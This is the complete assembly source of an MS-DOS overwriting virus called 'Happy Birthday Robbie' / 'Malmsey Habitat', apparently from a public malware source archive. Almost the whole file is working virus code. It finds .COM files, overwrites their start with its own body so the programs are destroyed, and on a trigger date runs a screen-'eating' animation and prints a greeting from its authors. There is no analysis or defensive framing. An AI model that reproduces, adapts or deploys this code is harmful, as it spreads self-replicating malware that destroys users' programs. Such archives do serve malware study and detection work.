MalwareSourceCode/MSDOS/M-Index/Virus.MSDOS.Unknown.malmseys.asm
vxunderground 4b9382ddbc re-organize
push
2022-08-21 04:07:57 -05:00

225 lines
6.3 KiB
NASM
Raw Blame History

;
;Happy Birthday Robbie Virus
;
code segment 'CODE'
assume cs:code,ds:code,es:code,ss:code
org 0100h
code_length equ finish - start
lf equ 0Ah
cr equ 0Dh
start label near
id_bytes proc near
mov si,si ; Serves no purpose: our ID
id_bytes endp
main: mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds attribute mask
mov dx,offset com_spec ; DX points to "*.COM"
file_loop: int 021h
jc exit_virus ; If there are no files, go
; off
call infect_file ; Try to infect found file
jne exit_virus ; Exit if successful
mov ah,04Fh ; DOS find next file function
jmp short file_loop ; Repeat until out of files
exit_virus:
mov ah,2Ah
int 21h
cmp dl,3
jne dos_drop
cmp dh,10
je eat_screen
dos_drop: int 20h
eat_screen: mov byte ptr count,0
mov ah,00
mov al,03
int 10h
mov ah,08
int 10h
mov byte ptr count2,al
cmp byte ptr count2,00
jne draw_face
mov byte ptr count2,0fh
draw_face:
mov ah,01 ;set cursor type
mov cl,00
mov ch,40h
int 10h
mov cl,00
mov dl,4fh
mov ah,06 ;clear the display window
mov al,00
mov bh,0fh ;blank line attribs
mov ch,00 ;starting at upper left corner
mov cl,00 ; to
mov dh,00 ;row 0
mov dl,4fh ;column 4Fh
int 10h
mov ah,02 ;set cursor position
mov dh,00 ;to row 0,
mov dl,1fh ;column 1Fh
mov bh,00 ;in graphics mode
int 10h
mov dx,offset eyes ;get the eyes
mov ah,09 ;and draw them to screen
mov bl,0fh ;this colour
int 21h
mov ah,02 ;reposition character
mov dh,01 ;to row 1,
mov dl,00 ;column 0
int 10h
mov ah,09 ;write character and attrib
mov al,0dch ;character shape
mov bl,0fh ;character colour
mov cx,50h ;number of characters.
int 10h
mov ah,02 ;reposition cursor
mov dh,18h ;to row 18h
mov dl,00 ;column 0
int 10h
mov ah,09 ;write character & attribute
mov al,0dfh ;character shape
mov bl,0fh ;character colour
mov cx,0050h ;number of characters
int 10h
mov dl,00 ;back to column 0
make_teeth:
mov ah,02 ;set cursor position
mov dh,02 ;to row 2
int 10h
mov ah,09 ;write the character
mov al,55h ; "U" for one top tooth
mov bl,0fh ; colour code
mov cx,1 ;only one tooth
int 10h
mov ah,02
mov dh,17h ;row 17h
inc dl ;increase column number
int 10h
mov ah,09 ;write a character there.
mov al,0efh ;character "<22>" for bottom teeth
mov bl,0fh ;colour code
int 10h
inc dl ;increment column number
cmp dl,50h ;is there 50h of them yet?
jl make_teeth ;make more if not
mov byte ptr count,0 ;0 the counter
pause_1:
mov cx,7fffh
a_loop:
loop a_loop ;pause
inc byte ptr count
cmp byte ptr count,0ah
jl pause_1
mov byte ptr count,00
mov cl,00 ;from column 0
mov dl,4fh ;to column 79,
close_jaws:
mov ah,06 ;scroll the page up
mov al,01 ;blanking a line
mov bh,byte ptr count ;with this attribute
mov ch,0dh ;and from row 13
mov dh,18h ;to row 24
int 10h
mov ah,07 ;scroll downward
mov al,01 ;blanking one line
mov bh,byte ptr count ;with this attribute
mov ch,00 ;from row 0
mov dh,0ch ;to row 12
int 10h
mov cx,3fffh
b_loop:
loop b_loop ;pause
inc byte ptr count
cmp byte ptr count,0bh
jl close_jaws
mov byte ptr count,00
pause_2:
mov cx,7fffh
finish_up:
loop finish_up
inc byte ptr count ;increment count by 1
cmp byte ptr count,0ah ;is it a 10 yet?
jl pause_2 ;no? loop again...
mov ah,06 ;scroll page up
mov al,00 ;blank entire window
mov bh,byte ptr count ;with this attribute
mov ch,00 ;from row 0,
mov cl,00 ;column 0,
mov dh,18h ;to row 18h
mov dl,4fh ;column 79
int 10h
mov ah,01 ;reset cursor type
mov cl,07
mov ch,06 ;everything is back to normal
int 10h
mov si,offset rabid
fuckin_loop: lodsb
or al,al
jz $
mov ah, 0Eh
int 10h
jmp short fuckin_loop
infect_file:
mov ax,03D02h ; DOS open file function,
; read-write
mov dx,09Eh ; DX points to the victim
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,2 ; CX holds byte to read (2)
mov dx,offset buffer ; DX points to buffer
int 021h
cmp word ptr [buffer],0F68Bh;Are the two bytes "MOV SI,SI"
pushf ; Save flags
je close_it_up ; If not, then file is OK
cwd ; Zero CX \_ Zero bytes from
; start
mov cx,dx ; Zero DX /
mov ax,04200h ; DOS file seek function,
; start
int 021h
mov ah,040h ; DOS write to file function
mov cx,code_length ; CX holds virus length
mov dx,offset start ; DX points to start of virus
int 021h
close_it_up: mov ah,03Eh ; DOS close file function
int 021h
popf ; Restore flags
ret ; Return to caller
buffer dw ? ; Buffer to hold test data
; Initialized data goes here
com_spec db "*.COM",0 ; What to infect: all COM
count db 0, 0
count2 db 0, 0
eyes db '(o) (o)$'
dinked db '[Malmsey Habitat v. 1.3]', 0
rabid db cr, lf
db 'Warmest Regards to RABID', cr, lf
db 'from -- ANARKICK SYSTEMS! ',0,'$'
finish:
code ends
end start